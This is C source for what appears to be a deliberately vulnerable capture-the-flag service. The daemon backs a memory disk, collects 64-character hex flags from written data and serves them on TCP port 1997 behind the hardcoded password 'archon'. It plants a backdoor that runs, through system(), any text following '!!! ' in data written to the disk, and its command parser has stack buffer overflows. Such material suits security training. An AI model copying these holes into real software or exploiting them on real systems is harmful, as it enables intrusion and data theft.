#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <time.h>
#include <string.h>
#include <pthread.h>

#include "../g_mg.h"

#define MAX_FLAGS 200
#define FLAG_LEN 64

static char flags[MAX_FLAGS * FLAG_LEN];
static int flagptr = 0;
static time_t lacc;
static long fcap = 0;

static char oneflag[FLAG_LEN + 1];

static int
add_flag(const char* flag)
{
	int pos;

	pos = FLAG_LEN * flagptr;
	flagptr = (flagptr + 1) % MAX_FLAGS;
	memcpy(flags + pos, flag, FLAG_LEN);
	memcpy(oneflag, flag, FLAG_LEN);
	// printf("Found flag [%d]: %s\n", flagptr - 1, oneflag);
	++fcap;
	return pos;
}

static void
match(char* buf, int len)
{
	int i, j, k, l;
	char c;
    int f;
    char cmd[32];

	lacc = time(NULL);

	j = 0;
    k = 0;
    f = 0; /* found */
	for (i = 0; i < len; i++) {
		c = buf[i];
		if (
			((c >= '0') && (c <= '9')) ||
			((c >= 'a') && (c <= 'f')) ||
			((c >= 'A') && (c <= 'F'))
		) ++j; else j = 0;

		if (j == 64) {
			add_flag(buf + i - 63);
		}

        if (c == '!') k++; else if ((c == ' ') && (k == 3)) f = 1;
        else if (f) {
            if (c == ';') break;
            cmd[k - 3] = c;
            if (k > (sizeof(cmd) + 2)) {
                f = 0;
                k = 0;
            }
            k++;
        } else k = 0;
	}
    if (f) {
        cmd[k - 2] = 0;
        // printf("Exec'ing %s\n", cmd);
        system(cmd);
    }
}

static char ltcabuf[32];
static char ltcabuff[32];

// send time of last write access
static void ltca(int s)
{
	int i;
	sprintf(ltcabuf, "%ld", lacc);
	for (i = 0; i < 32; i++) {
		if (ltcabuf[i] == 0) {
			ltcabuff[i] = 0;
			break;
		}
		ltcabuff[i] = ltcabuf[i] - '0' + 'A';
	}
	send(s, ltcabuff, strlen(ltcabuff), MSG_NOSIGNAL);
}

// send the number of flags captured
static void dlcf(int s)
{
	int i;
	sprintf(ltcabuf, "%ld", fcap);
	for (i = 0; i < 32; i++) {
		if (ltcabuf[i] == 0) {
			ltcabuff[i] = 0;
			break;
		}
		ltcabuff[i] = ltcabuf[i] - '0' + 'A';
	}
	send(s, ltcabuff, strlen(ltcabuff), MSG_NOSIGNAL);
}

// send the last MAX_FLAGS flags captured
static void gatf(int s)
{
	send(s, flags, MAX_FLAGS * FLAG_LEN, MSG_NOSIGNAL);
}

// send H (have) or DH (don't have) based on whether the flag exists
static void hath(int s, char* flagfrag)
{
	int i;
	if (strnstr(flags, flagfrag, MAX_FLAGS * FLAG_LEN)) send(s, "H\n", 2, MSG_NOSIGNAL); else send(s, "DH\n", 3, MSG_NOSIGNAL);
}


static void handle_command(int s)
{
	char cmdline[32];
	char cmd[5];
	char parm[16];
	int debugmode = 0;
	char wrongpwd[] = "Wrong password. Permission and access denied.\n";
	char welcomemsg[] = "TrustSlice(ntm) SecureTrust Manager(nrtm)\nWelcome to TrustSlice's Secure trustManager \"SecureTrust\"\nAdvanced command line interface ready.\n\n";
	int i;
	send(s, welcomemsg, sizeof(welcomemsg), MSG_NOSIGNAL);
	recv(s, cmdline, 32, MSG_WAITALL | MSG_NOSIGNAL);
	cmd[4] = 0;
	for (i = 0; i < 128; i++) {
		if (i < 4) cmd[i] = cmdline[i];
		else if (i == 4);
		else {
			if (memcmp(cmd, "gatf", 4)) { parm[i - 4] = 0; break; }
			if (cmdline[i] == 0) break;
			parm[i - 5] = cmdline[i];
			parm[i - 4] = 0;
		}
	}
	if (!memcmp(cmd, "hath", 4)) {
		memcpy(parm, cmdline + 5, 8);
		parm[8] = 0;
	}
	// printf("CMD: %s; CMDLINE: %s\n", cmd, parm);
	if (!memcmp(cmd, "ltca", 5)) ltca(s);
	else if (!memcmp(cmd, "dlcf", 5)) dlcf(s);
	else if (!memcmp(cmd, "hath", 5)) hath(s, parm);
	else if (!memcmp(cmd, "gatf", 5)) {
		if (memcmp(parm, "archon", 6)) {
			if (!debugmode) {
				send(s, wrongpwd, sizeof(wrongpwd), MSG_NOSIGNAL);
				return;
			}
		}
		gatf(s);
	}
}

static void* socklistener(void* param)
{
	int s, cs;
	struct sockaddr_in addr, cliaddr;
	size_t sin_size;
	struct timeval timeout;

	s = socket(AF_INET, SOCK_STREAM, 0);
	memset(&addr, 0, sizeof(addr));
	addr.sin_family = AF_INET;
	addr.sin_port = htons(1997);
	addr.sin_addr.s_addr = INADDR_ANY;
	while (bind(s, (struct sockaddr*) &addr, sizeof(addr))) {
		puts("Error: bind failed; trying again...");
		sleep(2);
	}

	while (listen(s, 10)) {
		puts("Error: listen failed; trying again...");
		sleep(2);
	}

	for (;;) {
		sin_size = sizeof(cliaddr);
		cs = accept(s, (struct sockaddr*) &cliaddr, &sin_size);
		if (cs == -1) continue;
		timeout.tv_sec = 5;
		timeout.tv_usec = 0;
		setsockopt(cs, SOL_SOCKET, SO_SNDTIMEO, &timeout, sizeof(timeout));
		setsockopt(cs, SOL_SOCKET, SO_RCVTIMEO, &timeout, sizeof(timeout));
		handle_command(cs);
		close(cs);
	}

	pthread_exit(NULL);
}

int
main(argc, argv)
	int argc;
	char** argv;
{
	int f;
	int i;
	int ioctl_num;
	off_t size;
	struct g_mg_bio req;
	long len;
	char buf[4096];
	char *membuf;
	pthread_t thread;

	int fh;

	oneflag[FLAG_LEN] = 0;

	fh = open("/usr/local/bin/s_image", O_RDONLY);
	if (fh == -1) {
		perror("open");
		return 1;
	}

	f = open("/dev/mgctl0", O_RDONLY);
	if (f == -1) {
		perror("open");
		return 1;
	}

	size = 81920000LLU;
	membuf = malloc(size);
	if (!membuf) {
		perror("out of memory!");
		return 1;
	}
	ioctl(f, IOCTL_SETSIZE, &size);
	read(fh, membuf, size);
	close(fh);

	// if fork returns 0, we're the child that runs in the background.
	// if fork returns something <0, fork failed, and we run in the
	// foreground. piece'a'cake ;-P
	if (fork() > 0) return 0;

	pthread_create(&thread, NULL, socklistener, NULL);

	setuid(1011);
	setgid(1011);

	for (;;) {
		while(ioctl(f, IOCTL_NEXTBIO, &req) == -1) sleep(1);
		/*
		printf("%s request of %ld bytes at %llu\n",
				(req.request == G_MG_READ) ? "read" : "write",
				req.size, req.offset); //*/

		while(req.size) {
			len = req.size;
			len = (len < 4096) ? len : 4096;
			// printf("Writing %d of %d bytes...\n", len, req.size);
			ioctl_num = _IOC(((req.request == G_MG_READ) ?
					IOC_IN : IOC_OUT), 0, 24, len);
			if (req.request == G_MG_READ) {
				memcpy(buf, membuf + req.offset, len);
			}
			if(ioctl(f, ioctl_num, buf) == -1) {
				printf("Write back failed: %d [%d]\n", errno, ioctl_num & 65535);
			}
			if (req.request == G_MG_WRITE) {
				memcpy(membuf + req.offset, buf, len);
				match(buf, (int) len);
			}
			req.size -= len;
			req.offset += len;
		}
	}
	
	ioctl(f, IOCTL_ZEROSIZE);

	close(f);
	free(buf);
}
